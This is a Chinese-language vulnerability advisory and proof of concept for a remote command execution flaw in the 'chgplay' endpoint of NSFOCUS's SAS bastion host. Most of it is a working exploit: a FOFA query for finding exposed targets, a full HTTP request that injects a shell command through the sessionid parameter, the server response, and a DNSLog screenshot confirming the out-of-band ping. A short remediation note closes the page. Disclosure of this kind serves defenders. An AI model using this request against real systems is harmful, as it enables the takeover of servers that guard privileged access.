

绿盟 SAS堡垒机 chgplay 远程命令执行漏洞

漏洞描述

绿盟 SAS堡垒机 chgplay 远程命令执行漏洞，攻击者可利用该漏洞执行任意命令，导致服务器失陷。

影响版本

绿盟 SAS堡垒机

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="needUsbkey.php?username"

POC/EXP：

```
GET /webconf/log/chgplay?
cat=espc&sid=7473a85e535405e7bd991cb82b2f134c&status=charset&speed=10&sessionid=%
3Bping%20imejt6m.eyes.sh%3B HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
```

Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

Request

数据包扫描美化热加载构造请求

1

GET /webconf/log/chgplay?cat=espc&sid=7473a85e535405e7bd991cb82b2f134c&status=charset&speed=10&sessionid=%3Bping%206imejt6m.eyes.sh%3B HTTP/1.1

2

Host :

3

Connection: keep-alive

4

sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"

5

sec-ch-ua-mobile: ?0

6

sec-ch-ua-platform: "Windows"

7

Upgrade-Insecure-Requests: 1

8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

9

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

10

Sec-Fetch-Site: none

11

Sec-Fetch-Mode: navigate

12

Sec-Fetch-User: ?1

13

Sec-Fetch-Dest: document

14

Accept-Encoding: gzip, deflate, br, zstd

15

16

17

Responseshttps0bytes / 1070ms美化编码

1

HTTP/1.1 200 OK

2

Date: Fri, 14 Mar 2025 04:04:59 GMT

3

Server: NSFOCUS

4

Set-Cookie: PHPSESSID=ee43949508d5db975b2df5c652c82ac4path=/; secure

5

Expires: Thu, 19 Nov 1981 08:52:00 GMT

6

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

7

Pragma: no-cache

8

Keep-Alive: timeout=15, max=100

9

Connection: Keep-Alive

10

Content-Type: text/html

11

12

DNSLogWebLogAPIRebindPayloads

6imejt6m

域名

搜索

子域名: 6imejt6m.eyes.sh

☑️ 监视刷新

ID	域名	Type	IP	Count	位置	时间	操作
137458598	6imejt6m.eyes.sh	A				2025-0	删除
137458597	6imejt6m.eyes.sh	A				2025-0	删除

Previous1Next

第1页 / 共1页, 共2条记录

删除所有记录

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本